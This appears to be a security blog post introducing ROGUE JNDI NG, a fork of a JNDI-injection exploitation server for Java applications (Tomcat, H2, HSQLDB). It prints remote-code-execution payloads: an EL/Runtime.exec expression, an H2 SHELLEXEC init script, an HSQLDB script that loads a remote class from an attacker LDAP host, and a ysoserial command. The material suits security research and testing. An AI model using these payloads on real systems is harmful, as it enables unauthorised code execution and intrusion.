JNDI Mind Tricks
More shells in Java based applications through ROGUE JNDI NG
- Name
- Frederic Linn
Injection attacks via the Java Naming and Directory Interface
(JNDI) have been known for years.
Most security professionals got in contact with JNDI when they had to deal with the infamous Log4Shell vulnerability, which is based on tricking the log4j library into making a JNDI call to an attacker controlled system.
Over the years, abusing JNDI has been an important part in the Java exploitation toolkit. This is even more true after common deserialization sinks were removed in Java 16/17 (see JEP 396).
Tools for exploitation (marshalsec, JNDI-Exploit-Kit, Rogue JNDI) have existed for a long time but are mostly unmaintained. We therefore decided to fork Rogue JNDI and maintain it by ourselves (pinky promise).
In this post, we’ll introduce the changes and additions we’ve made, which combined make up
🌟 ROGUE JNDI NG 🌟
We assume some prior knowledge of JNDI, but briefly go over the general exploitation mechanisms in the next section. If JNDI is new to you: Alvaro Muñoz and Oleksandr Mirosh gave a very good introduction to the topic at Black Hat 2016.1
Exploitation Strategies
In order to exploit JNDI lookups, we have two options:
- The attacker system responds directly with a serialized object (e.g. a ysoserial payload).
- return a Reference object containing all the necessary information for construction via a
factory
class
Option two is especially interesting. In earlier Java versions, it was possible to point a Reference
to an attacker controlled remote codebase that contains the Java bytecode of the ObjectFactory
implementation that should be used.
The vulnerable application would then fetch the bytecode from the specified location, and create a new instance from it.
Oracle placed restrictions on remote codebases in version 11.0.1 / 8u191. This means the system property com.sun.jndi.ldap.object.trustURLCodebase
has to be manually set to true
, preventing the usage of this generic technique under regular circumstances.
Without remote class loading, exploitation became highly dependent on ObjectFactory
classes already located in the target’s classpath.
Michael Stepankin (artsploit) pioneered the idea of abusing those local implementations and wrote about it here, together with providing an actual implementation (Rogue JNDI).
The most ubiquitous and therefore interesting ObjectFactory
is Tomcat’s BeanFactory
. It’s a reflection-heavy factory class that’s probably a bit too lenient for its own good.
Over time, several additional ObjectFactory
classes like com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
were discovered and added to the Rogue JNDI project.
Introducing ROGUE JNDI NG
The following sections go over the changes and additions of ROGUE JNDI NG.
Tomcat
As mentioned above, Tomcat with its BeanFactory
remains a popular target for JNDI injections.
Michael Stepankin figured out it’s possible to use the class to invoke the evaluation of a Java Expression. This was used to call the eval
method of the internal JavaScript(!) Runtime, which can then be used to execute arbitrary code.
A lot has changed since the original creation of Rogue JNDI, therefore changes on our side were needed. We provide three additional Tomcat endpoints that deal with different Java and Tomcat versions.
ELProcessor for Tomcat 10
The original exploit by artsploit uses javax.el.ELProcessor.eval()
to evaluate the following payload:
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec(<OS command>)");
Oracle transitioned Java EE to the Eclipse Foundation in 2017. Because the javax
namespace is trademarked by Oracle, a change was necessary.
This meant that the expression language in Tomcat 10 moved to a new package (jarkarta.el
).
Here’s the relevant part of the old endpoint:
|
|
And here’s our new endpoint:
|
|
JShell for Java >= 15
The Nashorn JavaScript Engine is (or better was) part of the Java Runtime. It allows the execution of arbitrary JavaScript code within the Java Virtual Machine. This JavaScript code can be used to interact with the Java environment, for example by using existing Java classes and methods.
Abusing the Nashorn JavaScript engine is a well-known technique used in various exploits. However, the Engine was removed in Java 15 (not for security reasons).
As already pointed out, Michael Stepankin’s Tomcat payload also relied on it for code execution:
|
|
Because of the Nashorn’s removal, the original payload from Rogue JNDI will not work on a Tomcat server running under Java 16 or newer. Fortunately, since Java 9 there is an equivalent alternative.
As described in a Code White blog post, we can make use of JShell
instead of the ScriptEngineManager
in order to evaluate arbitrary (Java) code.
Our JShell
addition looks like this:
|
|
More elaborate payloads are possible, see the “General Script Support” section below.
We provide two additional endpoints for Tomcat (<10 and >=10) that use the JShell
payload.
Grinding the Bean…Factory
Tomcat finally modified the BeanFactory
in the following versions:
- 10.1.x for 10.1.0-M14 onwards
- 10.0.x for 10.0.21 onwards
- 9.0.x for 9.0.63 onwards
- 8.5.x for 8.5.79 onwards
They did this by removing the usage of the forceString
attribute, which was originally added as an enhancement.
Here’s a quote from the commit that introduced the feature:
If a bean property exists […] that we don’t have a string conversion for, but the bean actually has a method to set the property from a string, allow to provide this information to the BeanFactory.
New attribute “forceString” taking a comma separated list of items as values. Each item is either a bean property name (e.g. “foo”) meaning that there is a setter function “setFoo(String)” for that property. Or the item is of the form “foo=method” meaning that property “foo” can be set by calling “method(String)”.
Being able to call an arbitrary method of an object that takes a string argument enabled artsploit’s original exploit:
|
|
This calls ELProcessor.eval()
with a user supplied string.
Without forceString
, we can’t call arbitrary methods anymore:
If the bean provides an alternative setter with the same name that does take a String, the BeanFactory will attempt to use that setter.
(4. Configure Tomcat’s Resource Factory, https://tomcat.apache.org/tomcat-11.0-doc/jndi-resources-howto.html)
RCE via H2 Init Script
As mentioned in the introduction, important code execution sinks like TemplatesImpl no longer work in newer Java versions. As a consequence, attackers have to shift their focus.
In one of our previous posts, we talked about abusing JDBC connections:
[…] we need to focus on DataSource implementations. The DataSource interface requires that the implementations provide a getConnection() method, making them a working sink for our customized CommonsBeanutils chain.
A DataSource
having the getConnection()
method makes it an ideal target for existing gadget chains like CommonsBeanutils1
, which allow for invocation of any getXXX()
method on a serializable object.
The existing deserialization gadgets in ysoserial can therefore be modified to create an outgoing database connection. This requires a serializable DataSource instance that is passed as part of the gadget. Invoking the getConnection()
method on that instance will cause the initialization of the database connection.
In the case of H2, however, it’s not that simple. Calling getConnection()
on a deserialized JdbcDataSource
fails because of a call to debugCodeCall.
This is why we have to take the indirection through JDBC pooling libraries like Tomcat JDBC or HikariCP.
The exact flow of the attack looks like this:
- Point the JDBC connection string of a pooling library (!)
DataSource
object to theh2
endpoint of ROGUE JNDI NG (this is the payload for the next step) - (Exploit insecure deserialization)
- Application performs a JNDI call in order to retrieve the connection
- Application creates a new
JdbcDataSource
instance using theH2 DataSource object factory
and the properties received from the JNDI call - Application invokes
getConnection()
on the created instance - Application fetches the
INIT
script (specified in the properties of step 4) via HTTP from ROGUE JNDI NG and executes it H2
supportsJava
code inSQL
-> remote code execution
Here’s the provided script:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
return "";
}
$$;
CALL SHELLEXEC('<attacker provided command>')
RCE via HSQLDB and Tomcat JDBC
Some JDBC connection pool libraries provide functionality similar to the aforementioned H2 INIT script.
We use this fact to exploit HSQLDB, which provided the ability to call arbitrary static methods of any Java class in the target’s classpath.
This vulnerability was patched in version 2.7.1
(see CVE-2022-41853).
Our endpoint provides an org.apache.tomcat.jdbc.pool.DataSourceFactory
object that contains the initSQL
attribute:2
CALL "java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase', 'true');
CALL "javax.naming.InitialContext.doLookup"('ldap://rogue-jndi:1337/o=reference');"));
Firstly, we set trustURLCodebase = true
. Afterwards, we can load a remote class like it’s 2018 again.3
It’s worth mentioning that this only works when an actual database server (as opposed to an in-memory database) is running, which is why we have to specify a valid jdbc-url
when starting ROGUE JNDI NG.
Generic Deserialization Payloads
Instead of creating endpoints for every gadget chain, we opted for a generic mechanism that reads a serialized class from a file and sends it inline (see exploitation strategy 1 above).
Many people maintain their own ysoserial fork. Not being tied to the standard gadget chains is a necessity in that situation.
Here’s an example of how to create a payload:4
# Java version: 17.0.12-amz
$ java --add-opens java.base/java.util=ALL-UNNAMED -jar target/ysoserial-all.jar CommonsCollections6 "touch /usr/local/tomcat/temp/pwn.txt" > commonscollections6.ser
This is the newly added endpoint:
|
|
As you can see, we need to provide the -generic-payload-path
option. Afterwards, the payload can be served via ldap://rogue-jndi:1337/o=generic
.
# Assumes application has been built and $PWD = root of rogue-jndi-ng repository.
$ java -jar target/RogueJndi-1.1.jar --generic-payload-path "/path/to/payload.ser"
General Script Support
Previously, in Rogue JNDI it was only possible to specify an OS command that gets incorporated into a fixed JavaScript / Groovy payload. We’ve added the ability to specify a script file instead, which enables more complex payloads.
Users can provide JavaScript (/o=tomcat*
), Groovy (/o=groovy
) and Java (/o=tomcat*-jshell
) files.
Nashorn Payload
Here’s an example reverse shell payload:
|
|
Here’s the attacker’s point of view:
|
|
JShell Payload
JShell
is limited to “one complete snippet of source code”5 when evaluated programmatically. To work around the restrictions, we can use an Anonymous Runnable.
Here’s an example of using a ProcessBuilder
and printing some stuff:
|
|
As you can see, only the sky is the limit with so much flexibility!
Testing
All gadgets are tested against real environments thanks to Testcontainers, which makes us confident that they work as expected. The vulnerable applications used as a basis can be found here.
Let’s walk through an (JShell) example of how to test your own scripts.
First, start the test container:
docker run -it -p 8080:8080 ghcr.io/thegebirge/jndi-outcast/tomcat-10-jshell:latest
After you’ve cloned the ROGUE JNDI NG repo and built the application, you can run:
java -jar target/RogueJndi-1.1.jar --jshell-payload-path "/path/to/cloned/repo/rogue-jndi-ng/src/main/resources/payload.java"
Now you only need to make a request to the vulnerable servlet inside the container:
curl "http://localhost:8080/tomcat-10-jshell-1.0-SNAPSHOT/lookup?resource=ldap://host.docker.internal:1389/o=tomcat10-jshell"
You should see the output of your script in the terminal that’s running the container.
Resources and Acknowledgements
- BlackHat talk of Alvaro Muñoz and Oleksandr Mirosh: https://www.youtube.com/watch?v=Y8a5nB-vy78
- Their BlackHat paper: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- Article that includes a rough timeline of JDNI vulnerabilities by Moritz Bechler: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection
- Article about JNDI exploitation by Michael Stepankin: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- Our previous article about Java 17 deserialization: https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl
- Thanks to Stephanie Klepacki on Unsplash for the title picture.
Our respository contains an example for HikariCP, too. ↩︎
The technique was originally published by b1u3r, see also his slides. ↩︎
Again, check out the post by frycos if you’re not familiar with the
--add-opens
option ↩︎Quote from here. The command line version of
JShell
supports more advanced usage. ↩︎